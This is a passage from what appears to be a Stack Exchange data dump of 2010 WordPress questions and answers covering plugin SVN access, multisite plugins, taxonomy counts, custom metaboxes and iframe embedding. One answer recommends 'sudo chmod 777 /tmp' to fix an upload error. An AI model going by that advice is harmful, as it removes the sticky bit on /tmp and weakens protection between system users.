OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2010-11-15T23:45:56.007" LastActivityDate="2010-11-15T23:45:56.007" Title="Performance of my permalink structure?" Tags="&lt;permalinks&gt;&lt;performance&gt;&lt;database&gt;&lt;wordpress.org&gt;" AnswerCount="3" FavoriteCount="5" />
  <row Id="3432" PostTypeId="1" CreationDate="2010-10-29T14:03:20.563" Score="4" ViewCount="105" Body="&lt;p&gt;I have tried the 'Image Credit' plugin but it seems flaky (possibly due to interaction with other plugins). What are other people using? The requirement is for each image used to have an associated field for copyright info. &lt;/p&gt;&#xA;" OwnerUserId="500" LastActivityDate="2010-10-29T14:08:00.403" Title="What are people using for displaying Image / Media copyright information?" Tags="&lt;images&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="3433" PostTypeId="2" ParentId="3432" CreationDate="2010-10-29T14:08:00.403" Score="1" ViewCount="" Body="&lt;p&gt;You could use the description or caption part of the image editor/uploader and then query that for each image. To clarify what I mean read my the post I wrote at my blog for creating a sideshow in wordpress with titles and captions without using a plugin. I don't know if you're making a slideshow, but if you're not, take out the jquery part and it's essentially the same idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.eileencarpenter.net/blog/worpdress-building-a-jquery-slideshow-without-a-plugin&quot; rel=&quot;nofollow&quot;&gt;http://www.eileencarpenter.net/blog/worpdress-building-a-jquery-slideshow-without-a-plugin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1352" LastActivityDate="2010-10-29T14:08:00.403" CommentCount="1" />
  <row Id="3434" PostTypeId="1" AcceptedAnswerId="3477" CreationDate="2010-10-29T14:10:43.960" Score="2" ViewCount="156" Body="&lt;p&gt;I'm trying to upload my plugin for the first time to the WordPress SVN.  I've been granted access from the WordPress team.  I am able to download the directory.  Then I try to place my plugin files into the &lt;code&gt;trunk&lt;/code&gt; folder, and then commit the changes.  When I do this. I am prompted for my login credentials.  I use the same ones that I use on the Wordpress.org website.  However, it keeps re-prompting me to enter my credentials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure what I am doing wrong.  I made a screencast of the process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.screencast.com/t/3QCfSdyM&quot; rel=&quot;nofollow&quot;&gt;http://www.screencast.com/t/3QCfSdyM&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1370" LastActivityDate="2010-10-31T15:50:05.707" Title="Commit changes to WordPress Plugin SVN with TortoiseSVN" Tags="&lt;plugin-development&gt;&lt;subversion&gt;&lt;repository&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="3435" PostTypeId="2" ParentId="3426" CreationDate="2010-10-29T14:22:13.440" Score="0" ViewCount="" Body="&lt;p&gt;The active plugins are stored in the wp_[blog_id]_options in the field 'active_plugins' and 'active_sitewide_plugins' in wp_[blog_id]_sitemeta. These are serialised fields so don't edit them unless you know what you're doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also take a look at wp-admin\plugin.php. It should be possible to write a plugin which will do what you want using the functions declared in there e.g. is_plugin_active() and activate_plugin().&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I'm presupposing you are proficient in PHP which may not be the case.&lt;/p&gt;&#xA;" OwnerUserId="500" LastActivityDate="2010-10-29T14:22:13.440" />
  <row Id="3436" PostTypeId="2" ParentId="3434" CreationDate="2010-10-29T14:25:17.677" Score="2" ViewCount="" Body="&lt;p&gt;I've had issues with this as well, and my solution was to use a different form of the plug-in repository URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They give you: &lt;code&gt;http://plugins.svn.wordpress.org/PLUGIN-NAME&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Tortoise SVN I've successfully used: &lt;code&gt;http://svn.wp-plugins.org/PLUGIN-NAME&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Give that a try and see if it helps.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-10-29T14:25:17.677" CommentCount="1" />
  <row Id="3437" PostTypeId="2" ParentId="3431" CreationDate="2010-10-29T14:36:23.983" Score="6" ViewCount="" Body="&lt;p&gt;You can check by looking at the size of the rewrite_rules option in the database. If it's small (which I believe it should with this structure), you're not using verbose rules. By contrast, if you see several lines per static page, you're using verbose rules and it's not good.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-10-29T14:36:23.983" CommentCount="3" />
  <row Id="3438" PostTypeId="2" ParentId="3426" CreationDate="2010-10-29T15:35:05.697" Score="3" ViewCount="" Body="&lt;p&gt;You can use the filter &lt;code&gt;site_option_*&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. the following will disable akismet on blog with id 2.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('site_option_active_sitewide_plugins', 'modify_sitewide_plugins');&#xA;&#xA;function modify_sitewide_plugins($value) {&#xA;    global $current_blog;&#xA;&#xA;    if( $current_blog-&amp;gt;blog_id == 2 ) {&#xA;        unset($value['akismet/akismet.php']);&#xA;    }&#xA;&#xA;    return $value;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-10-29T15:35:05.697" />
  <row Id="3439" PostTypeId="2" ParentId="3426" CreationDate="2010-10-29T16:05:32.420" Score="1" ViewCount="" Body="&lt;p&gt;This plugin:&#xA;&lt;a href=&quot;http://firestats.cc/wiki/WPMUPluginCommander&quot; rel=&quot;nofollow&quot;&gt;http://firestats.cc/wiki/WPMUPluginCommander&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bypasses the network activation stuff and does its own. and lets you disable the plugin on a site by site basis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: Looks like this plugin breaks the sitewide tags plugin, so be careful before trying on a production network.&lt;/p&gt;&#xA;" OwnerUserId="1391" LastEditorUserId="5529" LastEditorDisplayName="" LastEditDate="2011-05-25T06:58:33.467" LastActivityDate="2011-05-25T06:58:33.467" />
  <row Id="3440" PostTypeId="2" ParentId="1798" CreationDate="2010-10-29T16:10:26.617" Score="3" ViewCount="" Body="&lt;p&gt;Out of the box multisite has the same security as wordpress.com gives it users - being that it strips all kinds of extras, even if you are an administrator of your own blog. Super Admin has the basic WordPress permissions, everyone else does not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;no iframes, no javascript, no code.&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2010-10-29T16:10:26.617" />
  <row Id="3441" PostTypeId="2" ParentId="3434" CreationDate="2010-10-29T16:17:12.633" Score="0" ViewCount="" Body="&lt;p&gt;Try clicking the &quot;Save authentication&quot; checkbox...? I had an issue like that, and if I wasn't saving the authentication, I would have to reenter password before every single command or transfer.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2010-10-29T16:17:12.633" CommentCount="1" />
  <row Id="3442" PostTypeId="1" AcceptedAnswerId="3473" CreationDate="2010-10-29T17:56:46.167" Score="1" ViewCount="189" Body="&lt;p&gt;&lt;em&gt;(&lt;strong&gt;Moderator's note:&lt;/strong&gt; The original title was &quot;Copy and Paste picture in post without linking to original&quot;)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I copy and paste a picture from another editor window it appears nicely but it links to the original location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a plugin which lets me copy and paste images in a post (like it happens in Windows Live Writer) so that the image gets uploaded to the uploads dir?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is that impossible in a web environment?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reason: the one thing why I keep returning to Windows Live Writer for initial postings is the image functionality. If I could somehow make this process easier I could write some posts in the WordPress backend instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; If it does NOT exist yet, I probably will write a plugin on a hook that fires after a new or update of a post, goes through the_content, finds all image url's that are not the same as the preferred root domain (for multisite) and if not, does a cross-load of the image (as e.g. in the swift theme) and then replaces the url with the newly uploaded image. However... since this is a basic thought someone must already have made this I just cant find it in the plugin directory (yet).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 2&lt;/strong&gt;: Let me try this one: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blog.milandinic.com/wordpress/plugins/cache-images/&quot; rel=&quot;nofollow&quot;&gt;http://blog.milandinic.com/wordpress/plugins/cache-images/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 3&lt;/strong&gt;: The above plugin works perfectly even in my WordPress Multisite environment.&lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-30T00:38:07.580" LastActivityDate="2010-11-28T19:38:41.103" Title="Retrieving and Storing Images Linked from Other Domains on Local Server?" Tags="&lt;3.0.1&gt;&lt;posts&gt;&lt;images&gt;&lt;media&gt;&lt;editor&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="3443" PostTypeId="1" CreationDate="2010-10-29T18:15:34.403" Score="1" ViewCount="401" Body="&lt;p&gt;After we upgraded to Wordpress 3.0.1 (from Wordpress MU 2.9.2) we began getting an error message whenever we tried to upload media.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&quot;Missing a temporary folder&quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Various articles around the web mention the php setting &lt;code&gt;upload_tmp_dir&lt;/code&gt; needing to be set in &lt;code&gt;php.ini&lt;/code&gt;. This is not actually a requirement. I know because it is not set in our test environment, and it was not set in our production environment before the deploy. In both cases uploads worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what changed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have &lt;em&gt;an&lt;/em&gt; answer, but I'm not sure it's the definitive answer. I'll post mine.&lt;/p&gt;&#xA;" OwnerUserId="1419" LastActivityDate="2010-10-29T18:28:55.607" Title="Uploading Media gives error &quot;Missing a temporary folder.&quot;" Tags="&lt;media&gt;&lt;filesystem&gt;" AnswerCount="1" />
  <row Id="3444" PostTypeId="2" ParentId="3443" CreationDate="2010-10-29T18:28:55.607" Score="2" ViewCount="" Body="&lt;p&gt;&lt;code&gt;upload_tmp_dir&lt;/code&gt; is an optional setting in &lt;code&gt;php.ini&lt;/code&gt;. Php will attempt to use the system default temp directory. So it should &lt;em&gt;just work&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If something happens to the permissions on your temp directory, regardless of wether you set it in &lt;code&gt;php.ini&lt;/code&gt; or use the system default (usually &lt;code&gt;/tmp&lt;/code&gt; on unix like systems), then media uploads will fail.  You will see the same error &lt;strong&gt;&quot;Missing a temporary folder&quot;&lt;/strong&gt; if folder doesn't exist, but also if you don't have proper permissions on the temporary directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your web server, Apache or whatever, is probably running as nobody, or some other account with basically no rights to anything. So the first thing to check is that &lt;code&gt;/tmp&lt;/code&gt; is globally writable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On unix like systems it goes something like this. I'm assuming that your system default temp directory is &lt;code&gt;/tmp&lt;/code&gt;. From the command line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ls -l /tmp&#xA;lrwxrwxrwx@ 1 root  admin  11 Sep 10 11:40 /tmp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first bit &lt;code&gt;lrwxrwxrwx&lt;/code&gt; should look just like that. No dashes. If not&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ chmod 777 /tmp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and if it gives you permissions errors&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo chmod 777 /tmp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll need the root password.&lt;/p&gt;&#xA;" OwnerUserId="1419" LastActivityDate="2010-10-29T18:28:55.607" />
  <row Id="3445" PostTypeId="2" ParentId="3166" CreationDate="2010-10-29T18:47:53.803" Score="1" ViewCount="" Body="&lt;p&gt;Ok, have a SQL query worked out, but a new kink: I've got two taxonomies, and am now trying to figure out how to run this function with the correct query for each one. Here are each of my queries:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE wp_cln_term_taxonomy tt1&#xA;SET count =&#xA;(SELECT count(p.ID) FROM  wp_cln_term_relationships tr&#xA;LEFT JOIN wp_cln_posts p&#xA;   ON (p.ID = tr.object_id AND p.post_type = 'examples' AND p.post_status = 'publish')&#xA;WHERE tr.term_taxonomy_id = tt1.term_taxonomy_id)&#xA;WHERE tt1.taxonomy = 'example-cats'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the second one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE wp_cln_term_taxonomy tt1&#xA;SET count =&#xA;(SELECT count(p.ID) FROM  wp_cln_term_relationships tr&#xA;LEFT JOIN wp_cln_posts p&#xA;   ON (p.ID = tr.object_id AND p.post_type = 'ideas' AND p.post_status = 'publish')&#xA;WHERE tr.term_taxonomy_id = tt1.term_taxonomy_id)&#xA;WHERE tt1.taxonomy = 'idea-cats'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These each set the correct post counts, but can I just run both queries together always? Or is there a way I can fire off just one or the other, to lessen the load on MySQL?&lt;/p&gt;&#xA;" OwnerUserId="3831" LastActivityDate="2010-10-29T18:47:53.803" />
  <row Id="3446" PostTypeId="1" AcceptedAnswerId="3454" CreationDate="2010-10-29T20:16:28.257" Score="1" ViewCount="49" Body="&lt;p&gt;I was wondering if you really need to escape user submitted data (widget option fields) within the widget() and form() functions (from the widget class) ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't see a reason to do this, if the data is already escaped in the update() function. Or am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="600" LastEditorUserId="600" LastEditorDisplayName="" LastEditDate="2010-10-29T20:22:29.000" LastActivityDate="2010-10-30T02:26:55.010" Title="Do widget options need to be escaped widget()?" Tags="&lt;plugins&gt;&lt;3.0&gt;&lt;widgets&gt;" AnswerCount="1" />
  <row Id="3447" PostTypeId="2" ParentId="1733" CreationDate="2010-10-29T20:29:40.870" Score="0" ViewCount="" Body="&lt;p&gt;Assuming you already have added support for post-thumbnails, as you're talking about the &quot;Featured Image&quot; option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, one option you have it to add a new image size to the upload array. So by default, you have thumbnail, medium, large. In the following bit of code, this adds a 4th image to that assortment, based on whatever size you desire.  This bit of code would be added to your functions.php file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_image_size( 'new_thumb', 200, 100, true );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&quot;new-thumb&quot; = the name of the new custom image&lt;br&gt;&#xA;&quot;200&quot; = width&lt;br&gt;&#xA;&quot;100&quot; = height&lt;br&gt;&#xA;&quot;true&quot; = hard crop option. This will force an image to be cropped to the defined width/height. Without, it just scales to proportion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, to display the new thumbnail on a page or post array, you would insert the following into your HTML&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php the_post_thumbnail('new_thumb'); ?&gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastActivityDate="2010-10-29T20:29:40.870" CommentCount="1" />
  <row Id="3448" PostTypeId="1" AcceptedAnswerId="3450" CreationDate="2010-10-29T20:38:58.643" Score="0" ViewCount="402" Body="&lt;p&gt;I need to embed an iFrame into a post and it appears that tinyMCE or something is stripping it out when I go from HTML to Visual view while editing a post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found instructions for adding valid elements to tinyMCE but it only seems to apply to Wordpress 2.8. No such file seems to exist under Wordpress 3.0.1 (see &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3041/make-wordpress-wysiwyg-not-strip-out-iframes&quot;&gt;http://wordpress.stackexchange.com/questions/3041/make-wordpress-wysiwyg-not-strip-out-iframes&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;None of the iFrame embedding plugins seem to support WP 3.0.1 either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any tips.&lt;/p&gt;&#xA;" OwnerUserId="506" LastActivityDate="2011-07-06T06:25:13.477" Title="Embed iFrame in Wordpress 3.0.1" Tags="&lt;tinymce&gt;" AnswerCount="3" />
  <row Id="3449" PostTypeId="2" ParentId="2694" CreationDate="2010-10-29T20:44:33.993" Score="0" ViewCount="" Body="&lt;p&gt;Check out the Cleaner Gallery plugin. It may be able to help you achieve what you're looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/cleaner-gallery/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/cleaner-gallery/&lt;/a&gt;&lt;/p&gt;&#xA;" LastActivityDate="2010-10-29T20:44:33.993" />
  <row Id="3450" PostTypeId="2" ParentId="3448" CreationDate="2010-10-29T20:51:05.700" Score="1" ViewCount="" Body="&lt;p&gt;Did you try this solution: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3041/make-wordpress-wysiwyg-not-strip-out-iframes/3067#3067&quot;&gt;http://wordpress.stackexchange.com/questions/3041/make-wordpress-wysiwyg-not-strip-out-iframes/3067#3067&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-10-29T20:51:05.700" CommentCount="1" />
  <row Id="3452" PostTypeId="1" AcceptedAnswerId="3457" CreationDate="2010-10-30T01:10:04.040" Score="0" ViewCount="459" Body="&lt;p&gt;What I am trying to do is create a custom post type, custom meta box that inserts the values of it into an array of 'colors' or, 'p_clrs'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a jQuery script which works, allowing you to click a link to &quot;Add Another Color&quot;, which adds another input field below the one which shows always by default (must show at least 1 colors metabox). The jQuery added input fields should store the values of each one that gets added, as another 'color' in the array of 'colors' which I'm trying to create.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When on the newpost page or edit page for existing posts, the colors metabox needs to run a foreach loop to create a metabox foreach 'color' that exists in the 'p_clrs' variable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not good at all with arrays, and multi-arrays, and especially foreach loops. I hate foreach loops lol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've gotten it all so close to working, I don't want to do it all over using taxonomies, and once I get this to foreach loop over each color of the array which I am trying to create here, I will be able to handle anything else I need to with this stuff. I just can't get over the array/foreach hump I'm stuck on here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my Product Class for my custom post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I have all the values for the posts info (including my other metaboxes which the codes aren't included here for them).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class TypeProducts {&#xA;&#xA;    public $prod_meta_fields = array( &#xA;    'title', 'description', 'product_type', 'post_tag',&#xA;    'p_sku', 'p_price', 'p_discnt_price', &#xA;    'p_weight', 'p_size_w', 'p_size_h', &#xA;    'p_clrs'&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the method which also has my register_post_type() and register_taxonomy() codes but that isn't really needed for this so I left it out. After the register_ptype and _tax() functions are called, I add the actions for things that need to be added to the init and stuffs.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function TypeProducts() {&#xA;    add_action( 'admin_init', array( &amp;amp;$this, 'product_meta_boxes' ));&#xA;    add_action( 'wp_insert_post', array( &amp;amp;$this, 'wp_insert_post' ), 10, 2 );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This method is what does all the inserting of information for each of the post form fields. It works for all my custom metaboxes too, *Except for the additional input fields that jQuery adds when you click the &quot;Add Another Color&quot; link/button.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function wp_insert_post($post_id, $post = null) {&#xA;    if ($post-&amp;gt;post_type == 'product') { // my custom post type is 'product'&#xA;        foreach ($this-&amp;gt;prod_meta_fields as $key) { // loops over the $prod_meta_fields&#xA;            $value = @$_POST[$key];&#xA;            if (empty($value)) {&#xA;                delete_post_meta($post_id, $key);&#xA;                continue;&#xA;            }&#xA;            if (!is_array($value)) {&#xA;                if (!update_post_meta($post_id, $key, $value)) {&#xA;                    add_post_meta($post_id, $key, $value);&#xA;                }&#xA;            } else {&#xA;                delete_post_meta($post_id, $key);&#xA;                foreach ($value as $entry) add_post_meta($post_id, $key, $entry);&#xA;            }&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's the method for adding my metabox(es). Not sure whether I could/should do the foreach within this, looping over the array of $p_clrs values to add a metabox foreach color that exists, if there are more than one. Otherwise, there should just be one metabox displayed (at all times there should be at least 1).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function product_meta_boxes() {&#xA;    add_meta_box( 'products-price', 'Product SKU# &amp;amp;amp; Price', array( &amp;amp;$this, 'prod_price_box' ), 'product', 'side', 'high' );&#xA;    add_meta_box( 'products-colors', 'Product Colors', array( &amp;amp;$this, 'prod_colors_box' ), 'product', 'normal', 'high' );&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's my method for outputting the metabox(es) itself, and also the jQuery script that adds and removes additional input fields which &quot;could&quot; potentially become metaboxes upon saving the post if the added boxes arent empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a picture of what I mean to give you an idea of what I'm talking about.&#xA;&lt;img src=&quot;http://i.stack.imgur.com/101XL.jpg&quot; alt=&quot;metabox&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently the first input shows on page load with any value which is stored if any. When clicking the Add Another link, it adds another input with the same value, but when saving a different value in any input field, it saves the value of the last input that has a value. And only shows one input upon reloading the page when you save it too. I need to show inputs for each added value that was there, which needs to also be inserted to the 'p_clrs' variable/array in order to do that foreach 'p_clrs' value that exists. Lost yet?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    public function prod_colors_box() {&#xA;            global $post, $p_clr;&#xA;    $p_clr = array();&#xA;            $p_clrs = get_post_meta( $post-&amp;gt;ID, 'p_clr', true );&#xA;    ?&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;p_colors&quot;&amp;gt;&#xA;        &amp;lt;p&amp;gt;&#xA;            &amp;lt;label for=&quot;p_clr_1&quot;&amp;gt;&#xA;            &amp;lt;strong&amp;gt;Color:&amp;lt;/strong&amp;gt; &amp;lt;input id=&quot;p_clr_1&quot; name=&quot;p_clr&quot; value=&quot;&amp;lt;?php echo $p_clrs; ?&amp;gt;&quot; /&amp;gt;&#xA;            &amp;lt;/label&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;        &amp;lt;h4&amp;gt;&amp;lt;a href=&quot;#&quot; id=&quot;addClr&quot;&amp;gt;Add Another Color&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;&#xA;    &amp;lt;script src=&quot;http://code.jquery.com/jquery-1.4.3.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    $(function() {&#xA;&#xA;        var clrDiv = $('#p_colors');&#xA;        var j = $('#p_colors p').size() + 1;&#xA;&#xA;        $('#addClr').live('click', function() {&#xA;            $('&amp;lt;p&amp;gt;&amp;lt;label for=&quot;p_clr_' + j + '&quot;&amp;gt;&amp;lt;strong&amp;gt;Color:&amp;lt;/strong&amp;gt; &amp;lt;input id=&quot;p_clr_' + j + '&quot; name=&quot;p_clr&quot; size=&quot;20&quot; value=&quot;&amp;lt;?php echo $p_clrs; ?&amp;gt;&quot; /&amp;gt;&amp;lt;/label&amp;gt; &amp;lt;a href=&quot;#&quot; id=&quot;remClr&quot;&amp;gt;Remove&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;').appendTo(clrDiv);&#xA;            j++;&#xA;            return false;&#xA;        });&#xA;        $('#remClr').live('click', function() { &#xA;            if( j &amp;gt; 2 ) {&#xA;                $(this).parents('p').remove(); &#xA;                j--;&#xA;            } return false; &#xA;        });&#xA;    });&#xA;    &amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;} // end of TypeProducts{} Class&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help anyone can give me, and sorry if this is a little crazy of a post. I had a hard time cutting/pasting the code into this textarea. It was being wonky for me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if my explanation of what I'm trying/need to do isn't entirely clear too. It's kind of difficult to easily describe without some sort of visual of it first.&lt;/p&gt;&#xA;" OwnerUserId="1366" LastEditorUserId="1366" LastEditorDisplayName="" LastEditDate="2010-10-30T05:48:35.123" LastActivityDate="2010-10-30T19:00:23.470" Title="How can I show/add/save custom metaboxes as an Array of values?" Tags="&lt;custom-post-types&gt;&lt;metabox&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="3453" PostTypeId="2" ParentId="3394" CreationDate="2010-10-30T01:26:32.997" Score="0" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Pierre&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;@somatic's&lt;/em&gt; answer is probably the best for most sites; it is certainly the simplest. And if you are very comfortable with SQL you can use &lt;em&gt;@sorich87's&lt;/em&gt; answer. Or you can use my hybrid solution below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There was a very similar question asked last week &lt;em&gt;(definitely read the answer to that question before reading the answer I left for you here):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/3262/total-count-of-posts-not-in-selected-categories/3273#3273&quot;&gt;&lt;strong&gt;Total Count of Posts NOT in Selected Categories?&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Taking the answer from that and modifying it slightly you get a call that look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$post_counts = CountPostsForPostTypeAndCategory::count('artwork','artworkcat');&#xA;foreach($post_counts as $post_counts) {&#xA;  echo &quot;{$post_counts-&amp;gt;term_name}: {$post_counts-&amp;gt;post_count}&amp;lt;br/&amp;gt;&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is that class which you can copy into your theme's &lt;code&gt;functions.php&lt;/code&gt; file or use in the &lt;code&gt;.php&lt;/code&gt; file of a plugin you might be writing. It is probably overkill &lt;em&gt;(and probably overly complex)&lt;/em&gt; for your needs but in case you want a hybrid solution it should give you want you want and if you have lots of posts &lt;em&gt;(hundreds?)&lt;/em&gt; it will perform better than loading all posts into an array just to be able to count them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class CountPostsForPostTypeAndCategory {&#xA;  static $term_ids;&#xA;  static $taxonomy;&#xA;  static function count($post_type,$taxonomy) {&#xA;    self::$taxonomy = $taxonomy;&#xA;&#xA;    add_action('posts_fields',array(__CLASS__,'posts_fields'));&#xA;    add_action('posts_where',array(__CLASS__,'posts_where'));&#xA;    add_action('posts_join',array(__CLASS__,'posts_join'));&#xA;    add_action('posts_groupby',array(__CLASS__,'posts_groupby'));&#xA;&#xA;    $term_ids = get_terms($taxonomy,'fields=ids');&#xA;    $query = new WP_Query(array(&#xA;      'post_type' =&amp;gt; $post_type,&#xA;      'posts_per_page' =&amp;gt; '-1',&#xA;      'category__in' =&amp;gt; $term_ids,&#xA;    ));&#xA;&#xA;    remove_action('posts_fields',$array(__CLASS__,'posts_fields'));&#xA;    remove_action('posts_where',array(__CLASS__,'posts_where'));&#xA;    remove_action('posts_join',array(__CLASS__,'posts_join'));&#xA;    remove_action('posts_groupby',array(__CLASS__,'posts_groupby'));&#xA;&#xA;    return $query-&amp;gt;posts;&#xA;  }&#xA;  static function posts_where($where) {&#xA;    global $wpdb;&#xA;    $taxonomy = self::$taxonomy;&#xA;    $where = preg_replace(&quot;#({$wpdb-&amp;gt;term_taxonomy}.taxonomy) = 'category'#&quot;,&quot;\\1 = '{$taxonomy}'&quot;,$where);&#xA;    return $where;&#xA;  }&#xA;  static function posts_join($join) {&#xA;    global $wpdb;&#xA;    $join .= &quot; INNER JOIN {$wpdb-&amp;gt;terms} ON {$wpdb-&amp;gt;terms}.term_id = {$wpdb-&amp;gt;term_taxonomy}.term_id &quot;;&#xA;    return $join;&#xA;  }&#xA;  static function posts_groupby($groupby) {&#xA;    global $wpdb;&#xA;    $groupby = &quot; {$wpdb-&amp;gt;posts}.post_type, {$wpdb-&amp;gt;terms}.term_id&quot;;&#xA;    return 